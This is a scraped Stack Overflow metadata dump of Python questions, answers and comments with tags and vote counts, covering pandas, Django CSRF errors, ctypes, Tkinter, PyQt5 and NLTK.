tagged with: http://stackoverflow.com/tag/html
tagged with: python
score: -1
type: Question
upvote count: 0
type: UnansweredQuestion
answer count: 1
has answer: http://stackoverflow.com/a/47008347
tagged with: flask
downvote count: 1

http://stackoverflow.com/a/46988936
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/46988650
type: Answer
has body: In [5]: d1 Out[5]: col1 col2 0 A PY 1 B PA 2 C PB 3 D PB In [7]: d2 Out[7]: col1 col2 val A PY 20 B PB 30 you can use either merge: In [8]: d1.merge(d2.reset_index()) Out[8]: col1 col2 val 0 A PY 20 Or: In [9]: result = pd.concat([d1, d2], axis=1) In [10]: result Out[10]: col1 col2 col1 col2 val 0 A PY A PY 20.0 1 B PA B PB 30.0 2 C PB NaN NaN NaN 3 D PB NaN NaN NaN

http://stackoverflow.com/q/46953610
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/41415017
downvote count: 2
answer count: 1
has body: I have this DataFrame: user_id ip 0 2 106.184.2.137 1 2 106.184.2.137 2 3 106.184.2.113 3 3 106.184.2.112 4 9 103.105.111.191 5 9 103.105.111.191 6 11 103.239.29.190 How can I get the number of unique ip addresses per user id as follows: user_id ip_num 0 2 1 1 3 2 2 9 1 3 11 1 thank you for your help.
upvote count: 1
tagged with: python
has title: How can I get the number of unique ip addresses per user id in a pandas DataFrame?
favorite count: 0
has answer: http://stackoverflow.com/a/46953652
tagged with: pandas
score: -1
type: Question
linked to: http://stackoverflow.com/q/41415017
has comment: http://stackoverflow.com/comment/80854138

http://stackoverflow.com/a/47058565
answers question: http://stackoverflow.com/q/47058486
upvote count: 3
score: 3
downvote count: 0
has body: In the first loop, the line item = 's' only changes the value of the locale variable item inside the loop, which is updated in each iterations by the next value in the list. It is not a reference to the list itself.
has comment: http://stackoverflow.com/comment/81064704
has comment: http://stackoverflow.com/comment/81064496
type: Answer
has comment: http://stackoverflow.com/comment/81064851

http://stackoverflow.com/q/46997573
type: AnsweredQuestion
score: 0
possible better answer: http://stackoverflow.com/a/46998196
has comment: http://stackoverflow.com/comment/80941724
has title: Path with maximum sum in a triangle
has body: I made a program for finding the max sum among all possible paths in a triangle EXAMPLE: 1 2 1 1 2 3 Then the max value among all possible paths is 1+2+3=6 My code: def maxSum(tri, n): if n &gt; 1: tri[1][1] = tri[1][1]+tri[0][0] tri[1][0] = tri[1][0]+tri[0][0] for i in range(2, n): tri[i][0] = tri[i][0] + tri[i-1][0] tri[i][i] = tri[i][i] + tri[i-1][i-1] for j in range(1, i): if tri[i][j]+tri[i-1][j-1] &gt;= tri[i][j]+tri[i-1][j]: tri[i][j] = tri[i][j] + tri[i-1][j-1] else: tri[i][j] = tri[i][j]+tri[i-1][j] print max(tri[n-1]) #my list containing the triangle tri = [[1], [2,1], [1,2,3]] maxSum(tri, 3) But my code is printing the output as 5.Anyone please help me to correct my code ?
has answer: http://stackoverflow.com/a/46998196
downvote count: 1
has comment: http://stackoverflow.com/comment/80941726
favorite count: 0
type: Question
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/46997816
answer count: 2
has answer: http://stackoverflow.com/a/46997816
has comment: http://stackoverflow.com/comment/80946402
upvote count: 1
tagged with: python

http://stackoverflow.com/comment/80817023
has text: your thread never exits: infinite loop
type: Comment
comment on: http://stackoverflow.com/q/46934905
score: 1
type: QuestionComment

http://stackoverflow.com/comment/113902763
type: AnswerComment
comment on: http://stackoverflow.com/a/47006859
has text: Hello @Paul Rubenstein, Do you know what would be the setting for a weight dic of 12 classes, I mean, documentation is not so clear abou it, so the notation they mention is {0:1, 1:1} {0:1,1:5}, I don't know what do the first 0:1 represent, and how I can set a ratio between all the classes. Thanks in advance. I already posted this question in Data Science Stack Exchange if you would like to share some insight. https://datascience.stackexchange.com/questions/84163/how-to-set-a-class-
type: Comment
score: 0

http://stackoverflow.com/comment/81042620
type: Comment
has text: as an aside, you should never name a list, `list`
comment on: http://stackoverflow.com/q/47047675
type: QuestionComment
score: 3

http://stackoverflow.com/q/46926227
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/72853814
score: 6
has comment: http://stackoverflow.com/comment/80801079
has comment: http://stackoverflow.com/comment/80799395
downvote count: 0
answer count: 7
has answer: http://stackoverflow.com/a/70146672
linked to: http://stackoverflow.com/q/12174040
tagged with: django
has answer: http://stackoverflow.com/a/46932187
favorite count: 0
has body: I'm trying to run an api using postman. My application is developed in django 1.11.6 using python 3.5. My app is installed on an ubuntu server. I have no login mechanism to create a csrf token. These are the steps that I follow: Click on "import" tab on the upper left side. Select the Raw Text option and paste my cURL command. Hit import and I have the command in your Postman builder Press send button. My curl command is: curl -i -H 'Accept: application/json; indent=4' -X POST https://127.0.0.1/users/:register/ -d "id=111&amp;firstname=zinonas&amp;yearofbirth=2007&amp;lastname=Antoniou&amp;othernames=" The error I get is Forbidden (403) - CSRF verification failed. Request aborted. When I run the curl command via cygwin, it's working properly. This is the view function that I'm using: class ApiUserRegister(APIView): permission_classes = () serializer_class = RegisterUserSerializer def post(self, request): serializer = RegisterUserSerializer(data=request.data) # Check format and unique constraint serializer.is_valid(raise_exception=True) data = serializer.data if User.objects.filter(id=data['id']).exists(): user = User.objects.get(id=data['id']) is_new = "false" resp_status = status.HTTP_200_OK else: user = User.objects.create(id=data['id'], firstname=data['firstname'], yearofbirth=data['yearofbirth'], lastname=data['lastname'], othernames=data['othernames']) user.save() is_new = "true" resp_status = status.HTTP_201_CREATED resp = {"user": serializer.get_serialized(user), "isnew": is_new} return Response(resp, status=resp_status) In settings.py I have: REST_FRAMEWORK = { 'DEFAULT_PERMISSION_CLASSES': ( 'rest_framework.permissions.IsAuthenticated', ), 'DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework.authentication.SessionAuthentication', 'rest_framework.authentication.TokenAuthentication', 'rest_framework_jwt.authentication.JSONWebTokenAuthentication', ) }
has answer: http://stackoverflow.com/a/61357133
has title: Run django api from postman: CSRF verification failed
has comment: http://stackoverflow.com/comment/80800963
has comment: http://stackoverflow.com/comment/80799330
tagged with: python
has comment: http://stackoverflow.com/comment/80814422
has comment: http://stackoverflow.com/comment/80814562
upvote count: 6
tagged with: curl
has comment: http://stackoverflow.com/comment/80800940
type: Question
has answer: http://stackoverflow.com/a/46926483
has answer: http://stackoverflow.com/a/46926523
has answer: http://stackoverflow.com/a/53703916

http://stackoverflow.com/comment/81057839
comment on: http://stackoverflow.com/q/47054156
type: Comment
type: QuestionComment
has text: @GusevSlava I updated the answer, I hope now you can figure out a little what a parameter is :)
score: 0

http://stackoverflow.com/q/46999929
type: Question
tagged with: python
type: UnansweredQuestion
score: -1
has answer: http://stackoverflow.com/a/61727352
has answer: http://stackoverflow.com/a/48017125
has title: Send A message with A different font with aTelegram bot
downvote count: 2
answer count: 3
upvote count: 1
has answer: http://stackoverflow.com/a/46999996
favorite count: 0
has body: I want to create a Telegram Messenger bot with framework python-telegram-bot! Now, the bot must send a message with a specific font. This means the bot sends a message with a different and beautiful font - a font different from the Telegram Messenger font. How can I do it?
tagged with: python-telegram-bot

http://stackoverflow.com/a/46966112
type: Answer
score: 0
answers question: http://stackoverflow.com/q/46965927
has body: When mispellings and scoping are corrected, it works just fine: from tkinter import * class GUI: def __init__(self, master): menu = Menu(master) master.config(menu=menu) subMenu = Menu(menu) menu.add_cascade(label="File", menu=subMenu) subMenu.add_command(label="Nothing", command=self.SayNothing) subMenu.add_command(label="Exit", command=quit) def SayNothing(self): print("Nothing") root = Tk() app = GUI(root) root.mainloop() subMenu should be consistently spelled command=self.SayNothing, not command=SayNothing

http://stackoverflow.com/comment/80996281
type: Comment
type: QuestionComment
has text: A library that connects via whatstapp, the user types the data via whatsapp. With the menus working, but I'm not able to do submenus.
comment on: http://stackoverflow.com/q/47023810
score: 0

http://stackoverflow.com/comment/80911767
comment on: http://stackoverflow.com/q/46981774
type: Comment
type: QuestionComment
has text: @eLRuLL , right you are. I'm only after any solution from css selector.
score: 0

http://stackoverflow.com/comment/80946434
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46996395
has text: I don't want to just import pi. The whole point is to calculate it, and the way you explained it using comments didn't help too much. It came up with the same incorrect number, so I will try adding 1 to the digitOccurance
type: Comment

http://stackoverflow.com/q/47015886
has comment: http://stackoverflow.com/comment/80978131
has answer: http://stackoverflow.com/a/79021555
favorite count: 0
possible better answer: http://stackoverflow.com/a/79021555
type: Question
has answer: http://stackoverflow.com/a/47016156
score: 10
tagged with: python
has comment: http://stackoverflow.com/comment/80978521
has comment: http://stackoverflow.com/comment/80978070
has title: pandas grouper vs time grouper
has comment: http://stackoverflow.com/comment/80978110
type: AnsweredQuestion
tagged with: datetimeindex
answer count: 2
tagged with: pandas
upvote count: 10
accepted answer: http://stackoverflow.com/a/47016156
has body: The new pandas version deprecates the TimeGrouper, so we should use the regular Grouper. The old code: df['column_name'].groupby(pd.TimeGrouper("M")).mean().plot() works fine in the old version of pandas. However, none of: df.groupby(pd.Grouper(key='column_name', freq="M")).mean().plot() df['column_name'].groupby(pd.Grouper(freq="M")).mean().plot() works in the new version. Eiter the key is considered to be missing, or pandas complains about: Only valid with DatetimeIndex, TimedeltaIndex or PeriodIndex, but got an instance of 'Float64Index' edit import pandas as pd df = pd.DataFrame({'column_name':['2017-01-01', '2017-01-02'], 'column_value':[1,3]}) df df.index = pd.DatetimeIndex(df.column_name) df.index # old version df['column_value'].groupby(pd.TimeGrouper("M")).mean().plot() # new version df.groupby(pd.Grouper(key='column_value', freq="M")).mean().plot()
tagged with: grouping
downvote count: 0

http://stackoverflow.com/comment/80947813
has text: @janos Can I transform them back to a list later?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47000599

http://stackoverflow.com/q/47025616
tagged with: nanomsg
has comment: http://stackoverflow.com/comment/81037238
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81026314
tagged with: ctypes
answer count: 0
downvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80999137
upvote count: 3
score: 3
has comment: http://stackoverflow.com/comment/80999266
has title: Trying to pass a structure by pointer into C library from Python
has comment: http://stackoverflow.com/comment/81006206
has comment: http://stackoverflow.com/comment/81005956
has body: Can't figure out how to pass a structure by pointer to a C function from Python. Here is what I have (it's a part of bigger effort of implementing nn_recvmsg for nanomsg-python project): ... msgHdr = NN_MSGHDR(iovecList) pointer_type = ctypes.POINTER(NN_MSGHDR) pp = pointer_type.from_address(ctypes.addressof(msgHdr)) print("argument type: "+str(pp)) print("function arguments: "+str(_nn_recvmsg.argtypes)) rtn = _nn_recvmsg(socket, pp, 0) ... Which gives me: argument type: &lt;_nanomsg_ctypes.LP_NN_MSGHDR object at 0x10b6d8d40&gt; function arguments: (&lt;class 'ctypes.c_int'&gt;, &lt;class '_nanomsg_ctypes.LP_NN_MSGHDR'&gt;, &lt;class 'ctypes.c_int'&gt;) Traceback (most recent call last): File "./test.py", line 11, in &lt;module&gt; nnc.nn_recvmsg(s, [4, frameSize]) File "/Users/peetonn/Documents/Work/ptn-nanomsg-python/_nanomsg_ctypes/__init__.py", line 311, in nn_recvmsg rtn = _nn_recvmsg(socket, pp, 0) ctypes.ArgumentError: argument 1: &lt;type 'exceptions.TypeError'&gt;: wrong type from the output, I see that argument type is the same as the function would expect it to be. However, it still fails. Below are structure definitions and full code for the function I'm implementing: class NN_IOVEC(ctypes.Structure): _fields_ = [("iov_base", ctypes.c_void_p), ("iov_len", ctypes.c_size_t)] class NN_MSGHDR(ctypes.Structure): _fields_ = [("msg_iov", ctypes.POINTER(NN_IOVEC)), # ctypes.c_void_p), ("msg_iovlen", ctypes.c_int), ("msg_control", ctypes.c_void_p), ("msg_controllen", ctypes.c_size_t)] def __init__(self, iovecList): elems = (NN_IOVEC * len(iovecList))() self.msg_iovlen = len(iovecList) self.msg_iov = ctypes.cast(elems, ctypes.POINTER(NN_IOVEC)) for i in range(0, len(iovecList)): self.msg_iov[i].iov_base = iovecList[i].iov_base self.msg_iov[i].iov_len = iovecList[i].iov_len self.msg_controllen = 0 self.msg_control = 0 def nn_recvmsg(socket, sizes = None): "receive message/messages" if sizes: iovecList = [] for sz in sizes: iovec = NN_IOVEC() iovec.iov_len = sz buf …
tagged with: python
tagged with: http://stackoverflow.com/tag/c
has comment: http://stackoverflow.com/comment/80999021

http://stackoverflow.com/comment/80856826
comment on: http://stackoverflow.com/a/46941433
type: Comment
score: 0
type: AnswerComment
has text: other option is to skip constructor(s) of parent's class(es) and copy that code to `c.__init__`. That is object with fields, so if you use `self.name` instead of `b.name` - should work as well.

http://stackoverflow.com/a/47021502
type: Answer
has body: You can also use equality of sets. That way an assertion error may be more helpful (using curly brackets for sets): matching df = pd.DataFrame([], columns=['col1', 'col2', 'col3']) assert set(df.columns) == {'col1', 'col2', 'col3'} not matching df = pd.DataFrame([], columns=['col1', 'col2']) assert set(df.columns) == {'col1', 'col2', 'col3'}
score: 2
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/47019730

http://stackoverflow.com/comment/80987478
type: Comment
has text: Another thing i wasn't sure of. If i wanted to go through all the columns till it hits an empty field, how would i go about exporting the data from each column to a csv with it's own name. For example: row[1] has john in the field so i want to export johns data to a separate csv named john_sum.csv
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47020255

http://stackoverflow.com/comment/80780636
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46915239
has text: To be clear: merely accessing `self.bar` is already an expensive operation, as `bar` is a `property` or some other descriptor, with an expensive getter, right?
score: 0

http://stackoverflow.com/a/47025660
score: 1
upvote count: 1
type: Answer
has body: Here's a solution using reversed instead of slicing with [::-1]: items = [31.0, 72, 105.0, 581.5, 0, 0, 0] inverse_items = [] found_non_zero = False for item in reversed(items): if not found_non_zero and item: found_non_zero = True item += 100 inverse_items.append(item)
downvote count: 0
answers question: http://stackoverflow.com/q/47025356

http://stackoverflow.com/comment/80958433
has text: You could try selenium webdriver
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47005652
type: Comment

http://stackoverflow.com/q/46914595
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80777405
has answer: http://stackoverflow.com/a/46914807
has comment: http://stackoverflow.com/comment/80777190
has comment: http://stackoverflow.com/comment/80777118
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80776967
linked to: http://stackoverflow.com/q/5391199
tagged with: python-3.2
has comment: http://stackoverflow.com/comment/80776501
has title: How do you call a Function from a Variable? (Python)
has comment: http://stackoverflow.com/comment/80776377
tagged with: python
has comment: http://stackoverflow.com/comment/80777223
linked to: http://stackoverflow.com/q/3061
score: 2
has comment: http://stackoverflow.com/comment/80776867
has comment: http://stackoverflow.com/comment/80776691
has comment: http://stackoverflow.com/comment/80776486
has comment: http://stackoverflow.com/comment/80777451
linked to: http://stackoverflow.com/q/4431216
tagged with: save
linked to: http://stackoverflow.com/q/1933451
has comment: http://stackoverflow.com/comment/80776593
downvote count: 0
has comment: http://stackoverflow.com/comment/80776589
answer count: 1
has comment: http://stackoverflow.com/comment/80776552
has body: Before you claim as a duplicate I have looked at the following: python function call with variable Calling a function of a module from a string with the function&#39;s name Executing a function by variable name in Python https://ubuntuforums.org/showthread.php?t=1110989 and much more, but no luck. I am developing a game. Right now I am working on the SAVE/LOAD feature, but I am getting nowhere. I want to take a piece of text from another py or txt file and have my main py file read that, and call a function depending on the string of text in the second file. Script1: #imports from script2 import SaveCode #Code def Test(): print('Hello, World!') callable(SaveCode) Script2: SaveCode = Test() This won't work. Can someone please help me?
has comment: http://stackoverflow.com/comment/80777151
has comment: http://stackoverflow.com/comment/80776532
has comment: http://stackoverflow.com/comment/80776441
favorite count: 0
type: Question

http://stackoverflow.com/comment/80893671
score: 0
comment on: http://stackoverflow.com/q/46971307
has text: @piRSquared- Please see edit. Can we do like this?
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/89421664
type: AnswerComment
type: Comment
has text: @mcguip Hi, Since that one I now have more issues. For some reason I'm getting a huge list of conflicts now - on one system. On another I was able to get Python 3.7 "installed" via conda but I can't get to it with "conda create" and I need that to be able to run it under Jupyter. I thought there was some kind of "path to the python.exe file" spec like -p or something but now I can't find it.
comment on: http://stackoverflow.com/a/51105868
score: 0

http://stackoverflow.com/comment/80924485
type: QuestionComment
has text: @PM 2Ring, is your solution equal to mine? (See my answer)
comment on: http://stackoverflow.com/q/46988489
score: 0
type: Comment

http://stackoverflow.com/q/46938285
has body: Summary How do I lift (tk_raise) the tab order widgets contained in one frame above the widgets contained in another frame, which was created first? Full Version I have a Tkinter form, for which I am grouping multiple widgets in frames and then am positioning the frames into the window using a grid layout. In my specific use case, the frames are classes derived from ttk.Frame, but that doesn't make any difference to this question, as it has no impact on form behavior for the purposes of this question. For my use case, it makes sense to create multiple frames in a loop, in order to avoid code duplication. As expected, the tab order for the widgets is the order, in which they were created. However, the natural flow for the form in this case, is to tab between widgets in the following order: [0, 1, 2, 3, 4, 10, 11, 12, 5, 6, 7, 8, 9] (see MCVE, below). Doing a lift on the frame containing widgets 10-12 doesn't change the tab order. However, doing individual lifts on widgets 10-12 generates the following exception: _tkinter.TclError: can't raise ".tabtest.frame_2.widget_10" above ".tabtest.frame_1.widget_5 This should be doable, but how? Edit As noted in the comments (below), this may at a first glance appear to be a duplication of the question "How to set the tab order in a tkinter application?". I reviewed this question prior to submitting mine. However, the answer to this question specifically references setting tab order for widgets within a single frame. When I run the example included in the answer, it works as expected. However, when applying it to my use case: Attempting to lift the frame causes no change in tab behavior. Attempting to lift the individual widgets contained in the frame generates the error noted above. MCVE Written using Python 3.4. import tkinter as tk from tkinter import ttk class TabTest(ttk.Frame): def __init__(self, master, *args, **kwargs): super().__init__(master, *args, **kwargs) # Remove row/column weights. for i in range(50): self.rowco…
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/80824974
type: AnsweredQuestion
answer count: 2
linked to: http://stackoverflow.com/q/6687108
has comment: http://stackoverflow.com/comment/80824536
has comment: http://stackoverflow.com/comment/80825076
downvote count: 0
score: 1
accepted answer: http://stackoverflow.com/a/46938573
has comment: http://stackoverflow.com/comment/80824371
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/46938573
possible better answer: http://stackoverflow.com/a/46938409
tagged with: tkinter
has title: Changing Tab Order of Frames in Tkinter
has answer: http://stackoverflow.com/a/46938409

http://stackoverflow.com/comment/80965118
has text: @AndreaPrakash https://stackoverflow.com/questions/38363747/python-3-5-unicodedecodeerror-for-a-file-in-utf-8-language-is-ang-old-englis this answer might help you and if not just let me know.
score: 2
comment on: http://stackoverflow.com/q/47008863
type: Comment
type: QuestionComment

http://stackoverflow.com/a/46993594
score: 0
answers question: http://stackoverflow.com/q/46993538
has body: The os.listdir command lists all files in the given directory. It does not prepend the path (the directory name). You therefore have to do import os, random dirname = "F:\\1\\" x = dirname + random.choice(os.listdir(dirname)) y = open(x, 'w') y.write('Hello World') Also, it is good practice to close a file once you are done writing to it. You can do this by y.close(). This is done for you automatically if you use a with statement like so: import os, random dirname = "F:\\1\\" x = dirname + random.choice(os.listdir(dirname)) with open(x, 'w') as y: y.write('Hello World')
type: Answer

http://stackoverflow.com/comment/81014026
type: AnswerComment
comment on: http://stackoverflow.com/a/47014948
score: 0
type: Comment
has text: You might want to use the weights later, but what people usually do is simply multiply the loss values by the weights. Some moves get more important than others, but all keep differentiable.

http://stackoverflow.com/comment/80984529
type: Comment
comment on: http://stackoverflow.com/a/47017912
type: AnswerComment
has text: I meant I assumed it would be 0 as it would start from 0 in the TwoFrames class, so I assumed it would be okay to not pass row numbers. I did the same assumption you're saying that they're identical. But it works apparently different, meaning that somehow they're not identical. I'm wondering how are those(the two grid options you're saying identical) different?
score: 0

http://stackoverflow.com/comment/80773418
type: QuestionComment
has text: You're welcome :) Best of luck with your studies!
comment on: http://stackoverflow.com/q/46912953
score: 1
type: Comment

http://stackoverflow.com/q/47020995
has title: PyQt5 - Updating DataFrame behind QTableWidget
type: AnsweredQuestion
score: 2
tagged with: qtablewidget
downvote count: 0
tagged with: pandas
answer count: 1
tagged with: pyqt5
favorite count: 0
has body: I am having problems with the Qt method to update a DataFrame if it has a specific element modified by the user in the GUI. For example, when I run the following code, I get a 10 by 3 DataFrame with random values displayed. If I try to change any cell to value 400, I double click, type 400 and then press enter. When I print the DataFrame, the value is still the old value. I would like the DataFrame cell to update on user changing the value. Many thanks! import sys import numpy as np import pandas as pd from PyQt5.QtWidgets import * from PyQt5.QtGui import QIcon, QColor from PyQt5.QtCore import pyqtSlot, Qt, QTimer class App(QWidget): def __init__(self): super().__init__() self.initUI() def initUI(self): self.setGeometry(700, 100, 350, 380) self.createTable() self.layout = QVBoxLayout() self.layout.addWidget(self.tableWidget) self.button = QPushButton('Print DataFrame', self) self.layout.addWidget(self.button) self.setLayout(self.layout) self.button.clicked.connect(self.print_my_df) self.tableWidget.doubleClicked.connect(self.on_click_table) self.show() def createTable(self): self.tableWidget = QTableWidget() self.df_rows = 10 self.df_cols = 3 self.df = pd.DataFrame(np.random.randn(self.df_rows, self.df_cols)) self.tableWidget.setRowCount(self.df_rows) self.tableWidget.setColumnCount(self.df_cols) for i in range(self.df_rows): for j in range(self.df_cols): x = '{:.3f}'.format(self.df.iloc[i, j]) self.tableWidget.setItem(i, j, QTableWidgetItem(x)) @pyqtSlot() def print_my_df(self): print(self.df) @pyqtSlot() def on_click_table(self): for currentQTableWidgetItem in self.tableWidget.selectedItems(): print((currentQTableWidgetItem.row(), currentQTableWidgetItem.column())) self.print_my_df() if __name__ == '__main__': app = QApplication(sys.argv) ex = App() sys.exit(app.exec_())
type: Question
upvote count: 2
tagged with: pyqt
has answer: http://stackoverflow.com/a/47021620
tagged with: python
accepted answer: http://stackoverflow.com/a/47021620

http://stackoverflow.com/comment/81086774
comment on: http://stackoverflow.com/a/47063341
score: 0
type: Comment
type: AnswerComment
has text: https://stackoverflow.com/questions/47068683/feeding-labels-with-one-hot-encoded-vectors-in-neural-network

http://stackoverflow.com/q/46995660
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80937850
has answer: http://stackoverflow.com/a/46995673
has body: import random min = 1 max = 6 roll_again = "yes" while roll_again == "yes" or roll_again == "y": print ("Rolling Dice...") print ("The number is...") print (random.randint(min, max)) print (random.randint(min, max)) roll_again = raw_input("Want to roll again?");
has answer: http://stackoverflow.com/a/46995703
has title: When I run this code it repetitively rolls over and over again. How do I fix this?
has comment: http://stackoverflow.com/comment/80937854
type: UnansweredQuestion
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/80937869
answer count: 2
upvote count: 0
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80937832

http://stackoverflow.com/comment/80959035
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47006083
has text: @SimonRiddell Much appreciated!
type: Comment

http://stackoverflow.com/q/46988220
has comment: http://stackoverflow.com/comment/80923279
has comment: http://stackoverflow.com/comment/80923125
has title: Creating JSON object using json.dumps
tagged with: python
has body: I am trying to convert a Python dictionary to JSON format to post to an API using requests.post(). I believe it is not working as the output from json.dumps is always enclosed in quotes, so if I use POST method in Postman it returns: { "message": "Unable to decode data" } In the Python docs for json.dumps it has this example: &gt;&gt;&gt;import json &gt;&gt;&gt;print(json.dumps({'4': 5, '6': 7}, sort_keys=True, indent=4)) {"4": 5, "6": 7} However when I try this in the console I get the same output enclosed in quotes and when I use the type() function on it it says that is a string, not a JSON object which I am looking for. How can I achieve my aim? Apologies if this seems like a repeat question, but all the answers I have read mention using json.dumps() which I thought was meant to return a JSON object not a string.
has comment: http://stackoverflow.com/comment/80923803
answer count: 0
score: 1
upvote count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/80923231
tagged with: python-requests
has comment: http://stackoverflow.com/comment/80923721
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80923084
type: UnansweredQuestion

http://stackoverflow.com/comment/81065979
has text: Your `notify_url` must be reachable from outside. Be aware that sandbox sometimes does not send IPN messages because it's absolutely broken. For instance, last week I received most of the IPN messages (with exception of refund notifications), but today I did not receive a single message and wasted the whole development day. My code was not changed at all. Paypal is just poison.
score: 0
comment on: http://stackoverflow.com/q/47028296
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80867592
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46959968
has text: I am using python to generate random text in orignal one. My aim is to use another python script(as shown above in the question) to see if I can get the random text saved on sd card as it being generated

http://stackoverflow.com/q/46981605
type: AnsweredQuestion
answer count: 2
upvote count: 2
downvote count: 0
tagged with: text-classification
has answer: http://stackoverflow.com/a/46984479
favorite count: 0
type: Question
tagged with: nltk
has title: NLTK title classifier
accepted answer: http://stackoverflow.com/a/46984479
tagged with: python
has body: Apologies in advance if this has already been questioned/answered, but I couldn't find any answer close to my problem. I am also somewhat noob as to dealing with Python, so sorry too for the long post. I am trying to build a Python script that, based on a user-given Pubmed query (i.e., "cancer"), retrieves a file with N article titles, and evaluates their relevance to the subject in question. I have successfully built the "pubmed search and save" part, having it return a .txt file containing titles of articles (each line corresponds to a different article title), for instance: Feasibility of an ovarian cancer quality-of-life psychoeducational intervention. A randomized trial to increase physical activity in breast cancer survivors. Having this file, the idea is to use it into a classifier and get it to answer if the titles in the .txt file are relevant to a subject, for which I have a "gold standard" of titles that I know are relevant (i.e., I want to know the precision and recall of the queried set of titles against my gold standard). For example: Title 1 has the word "neoplasm" X times and "study" N times, therefore it is considered as relevant to "cancer" (Y/N). For this, I have been using NLTK to (try to) classify my text. I have pursued 2 different approaches, both unsuccessfully: Approach 1 Loading the .txt file, preprocessing it (tokenization, lower-casing, removing stopwords), converting the text to NLTK text format, finding the N most-common words. All this runs without problems. f = open('SR_titles.txt') raw = f.read() tokens = word_tokenize(raw) words = [w.lower() for w in tokens] words = [w for w in words if not w in stopwords.words("english")] text = nltk.Text(words) fdist = FreqDist(text) >>><FreqDist with 116 samples and 304 outcomes> I am also able to find colocations/bigrams in the text, which is something that might be important afterward. text.collocations() >>>randomized controlled; breast cancer; controlled trial; physical >>>activity; metastati…
tagged with: text-mining
possible better answer: http://stackoverflow.com/a/46981957
tagged with: nlp
has answer: http://stackoverflow.com/a/46981957
score: 2

http://stackoverflow.com/comment/81076527
type: Comment
type: AnswerComment
has text: `if True: return True`?
comment on: http://stackoverflow.com/a/47064156
score: 2

http://stackoverflow.com/comment/80875819
type: Comment
comment on: http://stackoverflow.com/a/46963873
has text: of course ! It is not the subject but imagine that **ex** was a string and you want to convert it to a list of list of integers, that's the work of **ast**
type: AnswerComment
score: 0

http://stackoverflow.com/comment/80849216
score: 0
comment on: http://stackoverflow.com/q/46950766
type: Comment
type: QuestionComment
has text: I mainly want to know why the sum_7 numpy array only has a length of 1 when there are two for loops, and 7 when i set i manually and run the for j in range(i, i+7) code and below

http://stackoverflow.com/comment/81049082
comment on: http://stackoverflow.com/q/47031779
has text: Have you tried with the Allure 1 command line: https://github.com/allure-framework/allure1/releases/tag/allure-core-1.5.2?
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/46976909
tagged with: superclass
accepted answer: http://stackoverflow.com/a/46976997
tagged with: class
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46976997
score: 1
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
has title: Problems with subclasses, unexpected arguments and unsolved references
tagged with: subclass
tagged with: python
has body: So I'm trying to make an endless text adventure game (using help from this site), but I'm having some problems with my classes: class Item: def __init__(self, name, desc, usable, value): self.name = name self.desc = desc self.usable = usable self.value = value def __str__(self): return "{}\n=====\n{}\nValue: {}\n".format(self.name, self.desc, self.usable, self.value) class Weapon(Item): def __init__(self, damage): self.damage = damage super().__init__(desc, name, usable, value) def __str__(self): return "{}\n=====\n{}\nValue: {}\nDamage: {}".format(self.name, self.damage, self.desc, self.usable, self.value) class BrokenSword(Weapon): def __init__(self): super(Weapon, self).__init__(name="Broken Sword", desc="A sword that didn't resist time.", value=1, usable=0, damage=1) PyCharm states that desc, name, usable and value in the Weapon class (inside super().__init__()) are unsolved references, and that they are unexpected arguments in the BrokenSword(Weapon) class. The code is very similar to the tutorial one, so what is wrong with it? Was the tutorial written in python 2.x? How can I fix my code?

http://stackoverflow.com/q/47009890
has body: A time series data has 3 columns apart from index, which is time indexTime,A,B,C I want to list all As that have last 10 B and C +ve This means I have to do a groupby('A') and then have an AND condition for last N rows of B.min() &gt; 0 AND last N rows of C.min() &gt; 0 How do I do it ? 09:00,ABC,1,1 09:00,XYZ,15,2 09:01,ABC,2,4 09:01,XYZ,1,2 09:02,ABC,-1,2 09:02,XYZ,1,7 09:03,ABC,3,5 09:03,XYZ,5,2 let us say last 3 in this case XYZ would satisfy the condition as it has both B and C column last 3 rows positive where as ABC does not have all last 3 rows positive Column B of ABC 09:02 is -1 so it would fail the test even though column C of ABC is all positive. But because of AND condition it would fail Thus for the condition output would be XYZ as only that satisfies the condition
has answer: http://stackoverflow.com/a/47010207
type: Question
has title: Pandas Groupby Min and Max of last N rows of a column
has comment: http://stackoverflow.com/comment/80966573
downvote count: 0
answer count: 1
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/80966666
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80966560
has comment: http://stackoverflow.com/comment/80966190
tagged with: pandas
score: 1
tagged with: python
accepted answer: http://stackoverflow.com/a/47010207

http://stackoverflow.com/q/46991607
favorite count: 0
type: Question
type: UnansweredQuestion
upvote count: 0
answer count: 1
tagged with: windows-10
downvote count: 1
